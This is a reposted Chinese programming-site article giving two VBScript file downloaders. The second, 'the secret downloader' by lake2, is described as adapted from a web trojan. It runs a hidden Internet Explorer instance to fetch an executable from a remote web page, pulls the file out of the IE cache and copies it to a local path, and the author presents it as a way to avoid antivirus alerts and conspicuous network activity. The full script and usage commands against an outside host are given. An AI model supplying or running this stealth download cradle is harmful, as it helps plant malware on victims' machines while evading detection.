欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

使用vbs下载文件的代码加强版

程序员文章站 2022-04-10 08:06:09
说到使用vbs下载文件是不是想到了xmlhttp呢,呵呵,以下是比较经典的代码: ilocal=lcase(wscript.arguments(1)) iremote=lc...
说到使用vbs下载文件是不是想到了xmlhttp呢,呵呵,以下是比较经典的代码:
ilocal=lcase(wscript.arguments(1))
iremote=lcase(wscript.arguments(0))
set xpost=createobject("microsoft.xmlhttp")
xpost.open "get",iremote,0
xpost.send()
set sget=createobject("adodb.stream")
sget.mode=3
sget.type=1
sget.open()
sget.write xpost.responsebody
sget.savetofile ilocal,2

    当你把这段代码保存为vbs的时候,杀毒软件可能就开始报警了;而且使用中cscript.exe会访问网络,不太隐蔽。
    那么,有没有更好的方法呢?答案很明显:-)
    我们可以利用一个叫internetexplorer.application的对象(其实就是个ie啦)下载文件。但是貌似这个组件不能直接下载保存文件,只好曲线救国了。因为ie是把文件下载到本地缓存的,我们可以让ie组件先把文件下载到缓存,然后再从缓存找到并copy至我们需要保存的位置。其实这个思路是从一个网马看到的:)
    为了让ie把我们的exe文件下载到本地缓存,我们需要有一个网页把exe文件包含进去。比如:<script src="520.exe"></script>。这样当ie访问该页面的时候就会把520.exe当成js脚本保存到本地缓存了。保存的命名一般是520[1].exe,ie临时文件的位置可以从注册表键值 hklm\software\microsoft\windows\currentversion\internet settings\cache\paths\directory 中读取。
    好了,不废话,看代码:

'=============================
'  get.vbs 
'   by lake2
'=============================

if wscript.arguments.count <> 3 then
 wscript.echo ""
 wscript.echo "======= the secret downloader 0.1 ================"
 wscript.echo "  by lake2 "
 wscript.echo "usage:   cscript /nologo" & wscript.scriptname & " [url] [remotename] [localfile]"
 wscript.echo "example: cscript /nologo" & wscript.scriptname & " http://www.0x54.org/lake.htm 520.exe c:\520.exe"
 wscript.echo "=================================================="
 wscript.quit
end if

url = wscript.arguments(0)
exename = wscript.arguments(1)
if instr(exename, ".") > 0 then
 tmp = left(exename,instrrev(exename, ".")-1)
 tmp2 = right(exename,len(exename) - instrrev(exename, ".") + 1)
 findfilename = tmp & "[1]" & tmp2
end if
localname = wscript.arguments(2)

set ie=wscript.createobject("internetexplorer.application")
ie.visible = 0
ie.navigate url

wscript.echo "[+]create and exec ie to your http server ..."
wscript.sleep(5000)
ie.quit
wscript.echo "[+]get the file ..."
set objshell= wscript.createobject("wscript.shell")
strvalue = objshell.regread("hklm\software\microsoft\windows\currentversion\internet settings\cache\paths\directory")
showallfile(strvalue)
wscript.echo "[-]download fail :("

sub showallfile(path)
 set fso = createobject("scripting.filesystemobject")
 set f = fso.getfolder(path)
 set fc = f.subfolders
 for each f1 in fc
  if fso.fileexists(path&"\"&f1.name&"\"&findfilename) then
   fso.copyfile path&"\"&f1.name&"\"&findfilename, localname
   wscript.echo "[+]download success !"
   wscript.quit
  end if
  showallfile path&"\"&f1.name
     next
 set fso = nothing
end sub

    使用方法:
    1、在你的web目录放上一个htm文件,内容包含要下载的文件。如:<script src=520.exe></script>
    2、cscript get.vbs 第一步的网页url 网页包含的文件名 本地保存路径

    例子:cscript get.vbs http://www.0x54.org/lake2/get.htm whoami.exe c:\who.exe

    ps:脚本使用了5秒钟作为下载文件的时间,可以改成等待下载完毕再继续的,不过基本上够用,懒得改了-_-